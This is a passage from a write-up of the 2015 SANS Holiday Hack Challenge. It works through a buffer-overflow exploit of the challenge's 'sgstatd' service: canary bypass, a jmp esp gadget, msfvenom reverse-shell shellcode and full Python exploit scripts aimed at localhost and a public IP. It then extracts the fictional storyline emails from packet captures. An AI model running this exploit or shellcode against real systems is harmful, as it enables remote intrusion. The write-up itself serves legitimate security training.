<p>The next step is to find a way to reliably point the eip at the esp register address. Since ASLR is on, I cannot hardcode the address of esp because it changes every time the program executes. One of the reliable ways to bypass ASLR is to point the eip to a jmp [reg] instruction however there are no suitable jmp instructions in the program. Luckily, the Canary gives me the solution I need. The hardcoded Canary contains the hex ‘ff e4’ which is the same as the instruction jmp esp. I just need to find the address specific for ‘ff e4’. So part of the Canary check is a good place to start.</p>
<pre><code class="language-command-line">0x080493af &lt;+82&gt;: mov edx,DWORD PTR [ebp-0x4]
</code></pre>
<p>Since the address where the Canary is moved into the edx register prior to being compared in an XOR it’s a great starting point to finding the specific memory address I need for the jmp esp. To find that memory address I list 10 bytes from the address.</p>
<pre><code class="language-command-line">(gdb) x/10b 0x80493af
0x80493af &lt;sgstatd+82&gt;: 0x8b  0x55  0xfc  0x81  0xf2  0xe4  0xff  0xff
0x80493b7 &lt;sgstatd+90&gt;: 0xe4  0x0f
</code></pre>
<p>I see the bytes needed so now I just need the address of them. Since 0x80493b7 contains the <code>e4</code> portion I just need to point to the memory address one byte prior.</p>
<pre><code class="language-command-line">(gdb) x/1i 0x80493b6
   0x80493b6 &lt;sgstatd+89&gt;: jmp    esp
</code></pre>
<p>Now that I have the address needed to hijack program flow, I need to shellcode to put into the esp register. Due to the limited space of 84 bytes left (200-108-8=84) I need a small shellcode. Thankfully, Metasploit has this covered with their <code>msfvenom</code> tool.</p>
<pre><code class="language-command-line">msfvenom -a x86 --platform arm -p linux/x86/shell_reverse_tcp -b '\x00' LHOST=127.0.0.1 LPORT=33333 -f python --smallest -v payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 92 (iteration=0)
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown succeeded with size 84 (iteration=0)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov succeeded with size 90 (iteration=0)
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 97 (iteration=0)
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=26, char=0x00)
Attempting to encode payload with 1 iterations of x86/nonalpha
x86/nonalpha failed with Encoding failed due to a bad character (index=62, char=0x00)
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 204 (iteration=0)
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 198 (iteration=0)
Attempting to encode payload with 1 iterations of x86/nonupper
x86/nonupper failed with Encoding failed due to a bad character (index=62, char=0x00)
x86/countdown chosen with final size 84
Payload size: 84 bytes
payload =  &quot;&quot;
payload += &quot;\x6a\x43\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c&quot;
payload += &quot;\x0e\x07\xe2\xfa\x30\xd9\xf4\xe7\x56\x45\x54\x62&quot;
payload += &quot;\x0b\x83\xea\xbc\x6b\xc3\x8f\x83\x48\xa2\x2c\xd9&quot;
payload += &quot;\x95\x5f\x6e\xe1\x71\x65\x1b\x1c\x1c\x76\x1d\x20&quot;
payload += &quot;\xa3\x17\xaa\xc5\x95\x40\x77\x79\x7a\x99\x28\xa5&quot;
payload += &quot;\xcc\xe3\xaf\x62\x59\x1d\x1c\x47\x5d\x5e\x18\x5a&quot;
payload += &quot;\x50\x54\xb2\xdf\x6f\x6d\xb6\xa1\xf1\x49\x8e\xc4&quot;
</code></pre>
<p>The shellcode I have chosen is a reverse tcp shell using Linux commands on a 32bit ARM platform and lucky for me it’s just small enough. Now to modify the python script to set the eip to the jmp esp instruction and send the program flow to the shellcode.</p>
<pre><code class="language-python">#!/usr/bin/python
import socket, time
 
port=4242
host='127.0.0.1'
 
junk=&quot;A&quot;*104
canary=&quot;\xe4\xff\xff\xe4&quot;
junk2=&quot;B&quot;*4
eip=&quot;\xb6\x93\x04\x08&quot;
payload =  &quot;&quot;
payload += &quot;\x6a\x43\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c&quot;
payload += &quot;\x0e\x07\xe2\xfa\x30\xd9\xf4\xe7\x56\x45\x54\x62&quot;
payload += &quot;\x0b\x83\xea\xbc\x6b\xc3\x8f\x83\x48\xa2\x2c\xd9&quot;
payload += &quot;\x95\x5f\x6e\xe1\x71\x65\x1b\x1c\x1c\x76\x1d\x20&quot;
payload += &quot;\xa3\x17\xaa\xc5\x95\x40\x77\x79\x7a\x99\x28\xa5&quot;
payload += &quot;\xcc\xe3\xaf\x62\x59\x1d\x1c\x47\x5d\x5e\x18\x5a&quot;
payload += &quot;\x50\x54\xb2\xdf\x6f\x6d\xb6\xa1\xf1\x49\x8e\xc4&quot;
 
exploit=junk+canary+junk2+eip+payload
 
print &quot;[*] Connecting to &quot;+str(host)+&quot; on port &quot;+str(port)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(&quot;X&quot;)
time.sleep(10)
 
print &quot;[+] Sending shellcode...&quot;
s.send(exploit)
s.close()
</code></pre>
<p>With the python script ready it’s time to test so I setup netcat to listen on port 33333 and start the program outside the debugger. Finally, I run our python script and check the results.</p>
<pre><code class="language-command-line">nc -nlvp 33333
listening on [any] 33333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 51813
whoami
nobody
</code></pre>
<p>Success! Now I just need to adjust the script and shellcode one last time to use the public IP of the SuperGnome and to call back to my own IP.</p>
<pre><code class="language-python">#!/usr/bin/python
import socket, time
 
port=4242
host='54.233.105.81'
 
junk=&quot;A&quot;*104
canary=&quot;\xe4\xff\xff\xe4&quot;
junk2=&quot;B&quot;*4
eip=&quot;\xb6\x93\x04\x08&quot;
payload =  &quot;&quot;
payload += &quot;\x6a\x43\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c&quot;
payload += &quot;\x0e\x07\xe2\xfa\x30\xd9\xf4\xe7\x56\x45\x54\x62&quot;
payload += &quot;\x0b\x83\xea\xbc\x6b\xc3\x8f\x83\x48\xa2\x2c\xd9&quot;
payload += &quot;\x95\x5f\x6e\xe1\x71\x65\x1b\x1c\x1c\x76\x1d\x20&quot;
payload += &quot;\xa3\x17\xaa\xc5\x95\x40\x77\x79\x7a\x99\x28\xa5&quot;
payload += &quot;\xcc\xe3\xaf\x62\x59\x1d\x1c\x47\x5d\x5e\x18\x5a&quot;
payload += &quot;\x50\x54\xb2\xdf\x6f\x6d\xb6\xa1\xf1\x49\x8e\xc4&quot;
 
exploit=junk+canary+junk2+eip+payload
 
print &quot;[*] Connecting to &quot;+str(host)+&quot; on port &quot;+str(port)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(&quot;X&quot;)
time.sleep(10)
 
print &quot;[+] Sending shellcode...&quot;
s.send(exploit)
s.close()
</code></pre>
<p><code>Note: the shellcode is still the same from the previous example in order to protect my actual IP.</code></p>
<p>Running the script against the actual SuperGnome gives me the ability to obtain all the files in /gnome/www/files from SG-05 as well.</p>
<h4 id="gnomeconf">gnome.conf:</h4>
<pre><code class="language-command-line">Gnome Serial Number: 4CKL3R43V4
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-05
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
</code></pre>
<h2 id="victory"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Victory</h2>
<p><img src="https://www.itsecguy.com/content/images/2017/02/victory.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>The ability to earn the Victory achievement did not require exploiting any of the SuperGnomes it did require using a Konami Code to navigate to the missing Intern.</p>
<h1 id="part5babyitsgnomeoutsidesinisterplotandattribution"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution</h1>
<h2 id="thechallenge"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>The Challenge</h2>
<p>Now that I have all the files from each of the SuperGnomes its time to go through them and see what I can find in the files.</p>
<h3 id="factorycams"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Factory Cams</h3>
<p>I first notice that each SuperGnome has a staticky image in a zip file called “factory_cam_X.zip”. Since each of the images have some slight variation, running the images through some XORs returned an interesting result. A nice tool to do the XORs is ImageMagick and its <em>convert</em> command line program.</p>
<p><span style="color: #ff0000;"><strong>Disclaimer: After the contest ended and I looked at other write-ups I realized I had forgotten to XOR the overlap_error image with the factory images.</strong></span></p>
<pre><code class="language-command-line">convert factory1.png factory2.png -fx &quot;(((255*u)&amp;(255*(1-v)))|((255*(1-u))&amp;(255*v)))/255&quot; xored.png
convert xored.png factory3.png -fx &quot;(((255*u)&amp;(255*(1-v)))|((255*(1-u))&amp;(255*v)))/255&quot; xored.png
convert xored.png factory4.png -fx &quot;(((255*u)&amp;(255*(1-v)))|((255*(1-u))&amp;(255*v)))/255&quot; xored.png
convert xored.png factory5.png -fx &quot;(((255*u)&amp;(255*(1-v)))|((255*(1-u))&amp;(255*v)))/255&quot; xored.png
</code></pre>
<p>The resulting image was a picture of what appears to be an adult who from How the Grinch Stole Christmas. There is a nameplate partially readable in the image.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/cindy.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<h3 id="pcaps"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>PCAPS</h3>
<p>The next interesting set of files are the zip archives with date and timestamps for names. Inside each one is a PCAP. Using Wireshark, I am able to extract emails from each PCAP and an image that was attached to one of the emails.</p>
<h4 id="supergnome01">SuperGnome-01</h4>
<pre><code class="language-command-line">From: &quot;c&quot; &lt;c@atnascorp.com&gt;
To: &lt;jojo@atnascorp.com&gt;
Subject: GiYH Architecture
Date: Fri, 26 Dec 2014 10:10:55 -0500
 
JoJo,
 
As you know, I hired you because you are the best architect in town for a
distributed surveillance system to satisfy our rather unique business
requirements.  We have less than a year from today to get our final plans in
place.  Our schedule is aggressive, but realistic.
 
 I've sketched out the overall Gnome in Your Home architecture in the diagram
attached below.  Please add in protocol details and other technical
specifications to complete the architectural plans.
 
 Remember: to achieve our goal, we must have the infrastructure scale to
upwards of 2 million Gnomes.  Once we solidify the architecture, you'll work
with the hardware team to create device specs and we'll start procuring
hardware in the February 2015 timeframe.
 
 I've also made significant progress on distribution deals with retailers.
 
 Thoughts?
 
 Looking forward to working with you on this project!
 -C
</code></pre>
<p><img src="https://www.itsecguy.com/content/images/2017/02/email.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<h4 id="supergnome02">SuperGnome-02</h4>
<pre><code class="language-command-line">From: &quot;c&quot; &lt;c@atnascorp.com&gt;
To: &lt;supplier@ginormouselectronicssupplier.com&gt;
Subject: =?us-ascii?Q?Large_Order_-_Immediate_Attention_Required?=
Date: Wed, 25 Feb 2015 09:30:39 -0500
 
Maratha,
 
As a follow-up to our phone conversation, we'd like to proceed with an order
of parts for our upcoming product line.  We'll need two million of each of
the following components:
 
+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9
CPU and Linux SDK)
 
+ ON Semiconductor AR0330: 3 MP 1/3&quot; CMOS Digital Image Sensor
 
+ Atheros AR6233X Wi-Fi adapter
 
+ Texas Instruments TPS65053 switching power supply
 
+ Samsung K4B2G16460 2GB SSDR3 SDRAM
 
+ Samsung K9F1G08U0D 1GB NAND Flash
 
Given the volume of this purchase, we fully expect the 35% discount you
mentioned during our phone discussion.  If you cannot agree to this pricing,
we'll place our order elsewhere.
 
We need delivery of components to begin no later than April 1, 2015, with
250,000 units coming each week, with all of them arriving no later than June
1, 2015.
 
Finally, as you know, this project requires the utmost secrecy.   Tell NO
ONE about our order, especially any nosy law enforcement authorities.
 
Regards,
-CW
</code></pre>
<h4 id="supergnome03">SuperGnome-03</h4>
<pre><code class="language-command-line">From: &quot;c&quot; &lt;c@atnascorp.com&gt;
To: &lt;burglerlackeys@atnascorp.com&gt;
Subject: All Systems Go for Dec 24, 2015
Date: Tue, 1 Dec 2015 11:33:56 -0500
 
My Burgling Friends, 
 
Our long-running plan is nearly complete, and I'm writing to share the date
when your thieving will commence!  On the morning of December 24, 2015, each
individual burglar on this email list will receive a detailed itinerary of
specific houses and an inventory of items to steal from each house, along
with still photos of where to locate each item.  The message will also
include a specific path optimized for you to hit your assigned houses
quickly and efficiently the night of December 24, 2015 after dark.
 
Further, we've selected the items to steal based on a detailed analysis of
what commands the highest prices on the hot-items open market.  I caution
you - steal only the items included on the list.  DO NOT waste time grabbing
anything else from a house.  There's no sense whatsoever grabbing crumbs too
small for a mouse!
 
As to the details of the plan, remember to wear the Santa suit we provided
you, and bring the extra large bag for all your stolen goods.
 
If any children observe you in their houses that night, remember to tell
them that you are actually &quot;Santy Claus&quot;, and that you need to send the
specific items you are taking to your workshop for repair.  Describe it in a
very friendly manner, get the child a drink of water, pat him or her on the
head, and send the little moppet back to bed.  Then, finish the deed, and
get out of there.  It's all quite simple - go to each house, grab the loot,
and return it to the designated drop-off area so we can resell it.  And,
above all, avoid Mount Crumpit! 
 
As we agreed, we'll split the proceeds from our sale 50-50 with each
burglar.
 
Oh, and I've heard that many of you are asking where the name ATNAS comes
from.  Why, it's reverse SANTA, of course.  Instead of bringing presents on
Christmas, we'll be stealing them!
 
Thank you for your partnership in this endeavor. 
 
Signed:
-CLW
</code></pre>
<h4 id="supergnome04">SuperGnome-04</h4>
<pre><code class="language-command-line">From: &quot;c&quot; &lt;c@atnascorp.com&gt;
To: &lt;psychdoctor@whovillepsychiatrists.com&gt;
Subject: Answer To Your Question
Date: Thu, 3 Dec 2015 13:38:15 -0500
 
Dr. O'Malley,
 
In your recent email, you inquired:
 
&gt; When did you first notice your anxiety about the holiday season?
 
Anxiety is hardly the word for it.  It's a deep-seated hatred, Doctor.
 
Before I get into details, please allow me to remind you that we operate
under the strictest doctor-patient confidentiality agreement in the
business.  I have some very powerful lawyers whom I'd hate to invoke in the
event of some leak on your part.  I seek your help because you are the best
psychiatrist in all of Who-ville.
 
To answer your question directly, as a young child (I must have been no more
than two), I experienced a life-changing interaction.  Very late on
Christmas Eve, I was awakened to find a grotesque green Who dressed in a
tattered Santa Claus outfit, standing in my barren living room, attempting
to shove our holiday tree up the chimney.  My senses heightened, I put on my
best little-girl innocent voice and asked him what he was doing.  He
explained that he was &quot;Santy Claus&quot; and needed to send the tree for repair.
I instantly knew it was a lie, but I humored the old thief so I could escape
to the safety of my bed.  That horrifying interaction ruined Christmas for
me that year, and I was terrified of the whole holiday season throughout my
teen years.
 
I later learned that the green Who was known as &quot;the Grinch&quot; and had lost
his mind in the middle of a crime spree to steal Christmas presents.  At the
very moment of his criminal triumph, he had a pitiful change of heart and
started playing all nicey-nice.  What an amateur!  When I became an adult,
my fear of Christmas boiled into true hatred of the whole holiday season.  I
knew that I had to stop Christmas from coming.  But how?
 
I vowed to finish what the Grinch had started, but to do it at a far larger
scale.  Using the latest technology and a distributed channel of burglars,
we'd rob 2 million houses, grabbing their most precious gifts, and selling
them on the open market.  We'll destroy Christmas as two million homes full
of people all cry &quot;BOO-HOO&quot;, and we'll turn a handy profit on the whole
deal.
 
Is this &quot;wrong&quot;?  I simply don't care.  I bear the bitter scars of the
Grinch's malfeasance, and singing a little &quot;Fahoo Fores&quot; isn't gonna fix
that!
 
What is your advice, doctor?
 
Signed,
Cindy Lou Who
</code></pre>
<h4 id="supergnome05">SuperGnome-05</h4>
<pre><code class="language-command-line">From: &quot;Grinch&quot; &lt;grinch@who-villeisp.com&gt;
To: &lt;c@atnascorp.com&gt;
Subject: My Apologies &amp; Holiday Greetings
Date: Tue, 15 Dec 2015 16:09:40 -0500
 
Dear Cindy Lou,
 
I am writing to apologize for what I did to you so long ago.  I wronged you
and all the Whos down in Who-ville due to my extreme misunderstanding of
Christmas and a deep-seated hatred.  I should have never lied to you, and I
should have never stolen those gifts on Christmas Eve.  I realize that even
returning them on Christmas morn didn't erase my crimes completely.  I seek
your forgiveness.
 
You see, on Mount Crumpit that fateful Christmas morning, I learned th[4 bytes missing in capture file]at
Christmas doesn't come from a store.  In fact, I discovered that Christmas
means a whole lot more!
 
When I returned their gifts, the Whos embraced me.  They forgave.  I was
stunned, and my heart grew even more.  Why, they even let me carve the roast
beast!  They demonstrated to me that the holiday season is, in part, about
forgiveness and love, and that's the gift that all the Whos gave to me that
morning so long ago.  I honestly tear up thinking about it.
 
I don't expect you to forgive me, Cindy Lou.  But, you have my deepest and
most sincere apologies.
 
And, above all, don't let my horrible actions from so long ago taint you in
any way.  I understand you've grown into an amazing business leader.  You
are a precious and beautiful Who, my dear.  Please use your skills wisely
and to help and support your fellow Who, especially during the holidays.
 
I sincerely wish you a holiday season full of kindness and warmth,
--The Grinch
</code></pre>
]]></content:encoded></item></channel></rss>